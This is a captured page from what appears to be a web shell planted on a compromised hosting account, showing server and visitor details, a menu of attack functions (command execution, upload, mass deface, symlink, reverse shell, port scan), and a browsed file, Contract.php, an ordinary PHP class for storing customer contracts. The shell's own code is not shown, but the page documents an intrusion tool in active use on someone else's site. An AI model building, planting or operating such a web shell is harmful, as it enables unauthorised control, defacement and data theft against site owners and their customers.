Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
models
/
Viewing: Contract.php
<?php class Contract { public static function ensureTable(PDO $pdo = null): void { $pdo = $pdo ?: (new Database())->getConnection(); // Use longtext with JSON check for compatibility $sql = "CREATE TABLE IF NOT EXISTS contracts ( id INT AUTO_INCREMENT PRIMARY KEY, customer_id INT NOT NULL, contract_number VARCHAR(50) NOT NULL, contract_date DATE DEFAULT NULL, fields_json LONGTEXT, signature_path VARCHAR(255) DEFAULT NULL, pdf_path VARCHAR(255) DEFAULT NULL, created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, KEY customer_id (customer_id), UNIQUE KEY contract_number (contract_number), CONSTRAINT contracts_customer_fk FOREIGN KEY (customer_id) REFERENCES customers(id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci"; $pdo->exec($sql); } public static function create(array $data): int { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare("INSERT INTO contracts (customer_id, contract_number, contract_date, fields_json, signature_path, pdf_path) VALUES (:customer_id, :contract_number, :contract_date, :fields_json, :signature_path, :pdf_path)"); $stmt->execute([ ':customer_id' => (int)$data['customer_id'], ':contract_number' => (string)$data['contract_number'], ':contract_date' => !empty($data['contract_date']) ? (string)$data['contract_date'] : null, ':fields_json' => !empty($data['fields_json']) ? (string)$data['fields_json'] : null, ':signature_path' => !empty($data['signature_path']) ? (string)$data['signature_path'] : null, ':pdf_path' => !empty($data['pdf_path']) ? (string)$data['pdf_path'] : null, ]); return (int)$pdo->lastInsertId(); } public static function findLatestByCustomer(int $customer_id): ?array { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare("SELECT * FROM contracts WHERE customer_id = :cid ORDER BY id DESC LIMIT 1"); $stmt->execute([':cid' => $customer_id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ?: null; } public static function findById(int $id): ?array { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare("SELECT * FROM contracts WHERE id = :id LIMIT 1"); $stmt->execute([':id' => $id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ?: null; } public static function getByCustomer(int $customer_id): array { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare("SELECT id, contract_number, contract_date, pdf_path, signature_path, created_at, fields_json FROM contracts WHERE customer_id = :cid ORDER BY id DESC"); $stmt->execute([':cid' => $customer_id]); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } /** * Devuelve la cantidad de contratos registrados para un cliente. */ public static function countByCustomer(int $customer_id): int { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('SELECT COUNT(*) FROM contracts WHERE customer_id = :cid'); $stmt->execute([':cid' => $customer_id]); return (int)$stmt->fetchColumn(); } /** * Indica si el cliente tiene al menos un contrato registrado. */ public static function existsForCustomer(int $customer_id): bool { return self::countByCustomer($customer_id) > 0; } public static function delete(int $id, PDO $pdo = null): bool { $pdo = $pdo ?: (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare("DELETE FROM contracts WHERE id = :id"); return $stmt->execute([':id' => $id]); } }
Coded With 💗 by
0x6ick